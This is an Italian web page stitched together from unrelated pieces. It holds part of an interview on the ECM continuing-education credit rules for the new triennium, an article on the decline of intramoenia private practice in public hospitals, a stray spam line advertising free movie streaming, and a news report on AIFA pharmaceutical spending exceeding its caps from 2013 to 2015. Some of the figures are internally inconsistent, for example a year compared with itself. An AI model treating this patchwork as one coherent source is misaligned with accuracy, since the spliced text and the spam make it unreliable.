«Il 31 dicembre ci conclude il termine entro il quale si possono fare eventi formativi riferiti a questo triennio, poi sono necessari come da regolamento ulteriori 90 giorni che i Provider hanno a disposizione per trasmettere i dati. Per quanto riguarda le novità per il triennio che inizierà a gennaio, la prima novità rilevante è l’introduzione a regime, e non più in fase sperimentale, del dossier formativo, sia nella sua forma individuale che nella sua forma di gruppo. Inoltre il secondo elemento che rappresenta un cambiamento rispetto al passato, riguarda la possibilità di avere una riduzione nel proprio obbligo formativo individuale in conseguenza del percorso formativo fatto nel triennio precedente. È prevista infatti una riduzione di 30 crediti se nel triennio precedente si sono fatti almeno 121 crediti e una riduzione di 15 crediti se nel passato si sono accumulati tra gli 81 e i 120 crediti. Altro elemento di rilievo è che ciascun professionista dovrà fare almeno il 40% di formazione accreditata, per il rimanente 60% c’è la possibilità di utilizzare percorsi formativi scelti individualmente, quindi sostanzialmente facendo riferimento all’autoformazione che è estesa a tutti i professionisti e non più soltanto ai liberi professionisti come in passato. Parliamo dei tutoraggi, delle pubblicazioni scientifiche, delle sperimentazioni cliniche, quindi sostanzialmente di tutta quella tipologia di formazione che il professionista può individuare autonomamente a prescindere dai Provider».

Per quanto riguarda le stime relative al triennio che si sta concludendo, c’è qualche dato che già possiamo prendere in considerazione? Questo triennio come è andato?

«Ovviamente le stime sono sommarie perché il triennio è ancora in corso. Dal punto di vista dei professionisti che hanno partecipato a percorsi formativi, in questo triennio si è già superato il numero dello scorso. Non è possibile ancora fare previsioni certe, perché sostanzialmente tutti i dati del 2016 in grandissima parte ancora mancanti, ma, fatta questa premessa, la cosa che in questa fase sembra rilevante è che c’è una distribuzione non regolare degli utenti. Dunque, viene fatta tanta formazione ma non viene fatta regolarmente da tutti. C’è chi fa tantissimo aggiornamento, addirittura più di quanto è previsto dall’obbligo formativo, c’è invece chi ne fa meno, questo è il motivo per cui se si facesse una media, i risultati sarebbero soddisfacenti, ma ciò non vuol dire che tutti completino il percorso. Probabilmente bisognerebbe fare in modo che, fatto salvo l’offerta formativa che è già assolutamente rilevante, questa proposta abbia una distribuzione più regolare fra tutti i professionisti, così che la media poi corrisponda di fatto al risultato finale».

Secondo indiscrezioni, trapelate nelle scorse settimane, si paventava una proroga per consentire agli operatori sanitari di mettersi in regola con l’obbligo ECM. Si tratta di una ipotesi al vaglio della Commissione?

«A quanto mi risulta non c’è nulla di ufficiale. Ad oggi non c’è decisione in tal senso da parte della Commissione Nazionale di Formazione Continua che è l’unico che ha competenza in questa materia, quindi resta ufficiale che il triennio si concluderà dal punto di vista formativo il 31 dicembre».

Intramoenia in continuo declino, calano i medici e il giro d’affari

Ecco il trend Regione per Regione

Non si accentua, ma si mantiene stabile il trend riscontrato nel 2013 di lieve declino dell’attività libero professionale ospedaliera intramuraria, quella gestita dall’ospedale nelle sue mura o comunque controllata dall’ente. Lo dicono le rilevazioni presentate dal Ministero della Salute al Parlamento sulla base dei dati delle Regioni, e relative al 2014. Diminuiscono ancora un po’ i medici che praticano l’intramoenia; in compenso aumenta il controllo delle regioni su tale attività e se un anno fa ci si chiedeva quante regioni fossero adempienti rispetto alle richieste della legge Balduzzi ora ci si chiede tranne qualche eccezione se l’adempimento riguardi tutte le aziende della tal regione o solo alcune. Vediamo ora nell’ordine i trend degli italiani, le realizzazioni delle regioni e la capacità delle aziende di adeguarsi alla legge Balduzzi.

Medici e pazienti- Nel 2013 i ricavi sono stati di 1,14 miliardi, un centesimo rispetto al Fondo sanitario nazionale, e in decrescita sul 2013 (-0,7%), anno in cui il tasso con cui calavano i ricavi ha iniziato a superare quello con cui calavano i costi. Diminuiscono pure i camici “intramoneisti”: al 14, 53 mila contro 55 mila del 2013 e quasi 60 mila del 2010. Sono il 44% dei medici dirigenti del Ssn, con punte del 60% in Piemonte e Val d’Aosta. Prendono in media 17 mila euro l’anno per le ore lavorate in libera professione, ma gli emiliani che nel ’13 erano i più ricchi con una punta di 24 mila euro sono ormai raggiunti da veneti e lombardi, agli ultimi posti in genere il Sud. La spesa procapite dei cittadini si conferma in media 13 euro annui per le prestazioni ambulatoriali e 4 per le ospedaliere, con punte del doppio rispettivamente in Emilia/Marche/Toscana e in Lombardia. Già, nel mondo dell’intramoenia la spesa per prestazioni ospedaliere è inferiore a quella per prestazioni ambulatoriali, che vanno dai due terzi al 95% (Friuli VG) del totale. Tra le prestazioni ospedaliere pagate dai pazienti entrano però in qualche caso le chemioterapie… Sui tempi d’attesa tutte le Regioni hanno fornito i dati per il 97% delle strutture, il 64-67% delle prestazioni si ottiene in meno di 10 giorni. Si abbassa la percentuale di ricorso all’intramoenia allargata (16% contro 17% nel 2013) mentre cresce il ricorso all’agenda Cup (81% vs 77% 2013). Il rapporto tra volumi di intramoenia e attività istituzionale non supera il 28%.

Regioni e Intramoenia- Gli spazi per l’intramoenia crescono in tutti gli ospedali pubblici: Val d’Aosta Abruzzo Basilicata Friuli VG Trento e Bolzano non hanno attività allargata extraospedale. Ma la legge Balduzzi ha concesso alle regioni di acquisire spazi esterni per le aziende, a fianco a interventi di ampliamento di strutture pubbliche esistenti che sono partiti in 16 regioni ma sono completati solo in cinque. Otto Regioni/ Province Autonome dichiarano di aver superato l’intramoenia allargata, riportando tutta l’attività entro le mura (Abruzzo, Emilia Romagna, Friuli-Venezia Giulia, Marche, Bolzano, Trento, Toscana e Valle D’Aosta); in Veneto è residuale.

Aziende e indicatori- La legge 189/2012 chiedeva alle aziende: di collegare i medici che fanno intramoenia allargata in altre strutture all’ente di riferimento con mezzi informatici; di attivare sistemi di riscossione accentrata presso il Cup aziendale per queste prestazioni; di concordare le tariffe con i sindacati dei sanitari; di destinare un 5% della tariffa alla copertura delle liste d’attesa; di controllare i tempi di erogazione dei servizi; di evitare conflitti d’interesse; di definire i volumi di libera professione, di parametrarli all’attività istituzionale e di creare osservatori per l’ultimo compito. Inoltre la relazione verifica quanto è stata applicata la legge che rende ordinaria l’intramoenia, se sono state emanate linee guida per il suo svolgimento e se sono stati creati organismi paritetici per verificare il rispetto dei due punti anzidetti: ebbene, il 100% delle aziende o quasi ha ormai soddisfatto questi ultimi tre indicatori. Invece ha attivato infrastrutture informatiche per il controllo dei flussi di prestazioni solo l’80% delle aziende a fronte di un 92% che ha attivato la riscossione accentrata delle tariffe dai pazienti l’82% delle aziende; ha concordato le tariffe un 82% delle aziende contro un 85% che ha attivato la trattenuta di un 5% per tagliare le code nell’attività istituzionale; hanno contrattato con i sindacati i volumi di attività intramoenia 3 aziende su 4 e li hanno parametrati ai volumi istituzionali solo due su tre, però gli organismi ad hoc ci sono in oltre l’80% delle aziende.

Mauro Miserendino

Watch Full Movie Online Streaming Online and Download

Boom della spesa farmaceutica

http://www.quotidianosanita.it/scienza-e-farmaci/articolo.php?articolo_id=43468&fr=n

Boom della spesa farmaceutica.

In tre anni +9%: oltre 3,5 miliardi di “rosso”. I ‘tetti’ non reggono

E’ quanto certificato dall’Agenzia del farmaco (Aifa) con il monitoraggio della spesa farmaceutica territoriale ed ospedaliera per gli anni 2013, 2014 e 2015 in cui si “accerta il superamento dei tetti”. Boom ospedaliera: in 2 anni + 17%. DETERMINA AIFA MONITORAGGIO SPESA

30 SET – Più 9% tra il 2013 e il 2015. Purtroppo non è il dato del Prodotto interno lordo, ma quello della crescita esponenziale della spesa farmaceutica, sia territoriale che ospedaliera, registrata da Aifa e trasmessa a Ministeri di Salute ed Economia oltre che alle Regioni. Nella determina l’Agenzia del farmaco evidenzia come “per gli anni 2013, 2014 e 2015, si accerta il superamento del tetto della spesa farmaceutica territoriale (11,35% su Fsn) e del tetto della spesa farmaceutica ospedaliera (3,5% su Fsn)”.

Me vediamo i numeri. Nel 2013 la spesa totale è stata di 16.586.762.003 euro, di cui 12.097.085.662 per la territoriale (tetto sfondato per 19,2 mln) e 4.489.676.341 per l’ospedaliera (tetto sfondato di 765,2 mln).

Nel 2014 la spesa totale è aumentata per attestarsi a 17.011.217.403 euro di cui 12.231.015.853 per la territoriale (che in questo è riuscita a rimanere sotto il tetto programmato di 170 mln) e 4.780.189.319 euro per l’ospedaliera (che invece ha continuato a sforare, in questo caso per ben 955,8 mln).

Crescita corposa anche nel 2015 dove la spesa totale è stata di 18.040.501.552 euro (+9% rispetto al 2013). La territoriale nel 2015 si è attestata a 12.669.145.765 euro (con il tetto nuovamente sfondato per 288,7 milioni di euro). È proseguita anche nel 2015 il boom dell’ospedaliera arrivata a 5.3 mld. Un dato che vuol dire sforamento del tetto programmato di ben 1,5 miliardi.

In tutto quindi oltre 3,5 miliardi di sfondamento, soprattutto della spesa ospedaliera. Anche se, come abbiamo visto, anche la territoriale inizia a mostrare segni di cedimento rispetto al limite prefissato con i tetti programmati.